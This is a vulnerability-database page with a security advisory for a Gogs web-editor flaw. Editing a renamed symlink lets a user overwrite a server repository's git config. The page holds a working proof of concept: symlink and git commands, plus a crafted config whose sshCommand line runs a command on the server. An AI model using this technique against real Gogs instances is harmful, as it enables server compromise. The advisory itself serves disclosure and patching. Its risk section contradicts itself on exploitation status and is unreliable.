Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Search

GHSA-r7j8-5h9c-f6fx

CriticalCVSS 9.8 / 10
Published Dec 23, 2024·Last modified Apr 10, 2025
Affected Components(0)

No affected components available

Description

Impact

The malicious user is able to commit and edit a crafted symlink file to a repository to gain SSH access to the server.

Patches

Editing symlink while changing the file name has been prohibited via the repository web editor (https://github.com/gogs/gogs/pull/7857). Users should upgrade to 0.13.1 or the latest 0.14.0+dev.

Workarounds

No viable workaround available, please only grant access to trusted users to your Gogs instance on affected versions.

References

n/a

Proof of Concept

  1. Create two repositories, upload something to the first repository, edit any file, and save it on the webpage.

  2. In the second repository, create a symbolic link to the file you need to edit:

    $ ln -s /data/gogs/data/tmp/local-repo/1/.git/config test
    $ ls -la
    total 8
    drwxr-xr-x   5 dd  staff  160 Oct 27 19:09 .
    drwxr-xr-x   4 dd  staff  128 Oct 27 19:06 ..
    drwxr-xr-x  12 dd  staff  384 Oct 27 19:09 .git
    -rw-r--r--   1 dd  staff   12 Oct 27 19:06 README.md
    lrwxr-xr-x   1 dd  staff   44 Oct 27 19:09 test -> /data/gogs/data/tmp/local-repo/1/.git/config
    $ git add .
    $ git commit -m 'ddd'
    $ git push -f
    
  3. Go back to the webpage, edit the symbolic file in the second repository, with the following content, change the filename, and save (here you can notice, with filename changed the symbolic file edit limit is bypassed)

    [core]
    repositoryformatversion = 0
    filemode = true
    bare = false
    logallrefupdates = true
    ignorecase = true
    precomposeunicode = true
    sshCommand = echo pwnned > /tmp/poc
    [remote "origin"]
    url = [git@github.com](mailto:git@github.com):torvalds/linux.git
    fetch = +refs/heads/*:refs/remotes/origin/*
    [branch "master"]
    remote = origin
    merge = refs/heads/master
    
  4. Go back to the first repo, edit something, and commit again, you can notice a file called /tmp/poc created on the server.

For more information

If you have any questions or comments about this advisory, please post on https://github.com/gogs/gogs/issues/7582.

Risk Scores
Base Score
9.8

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence
9.0

Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.

EPSS
0.85%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard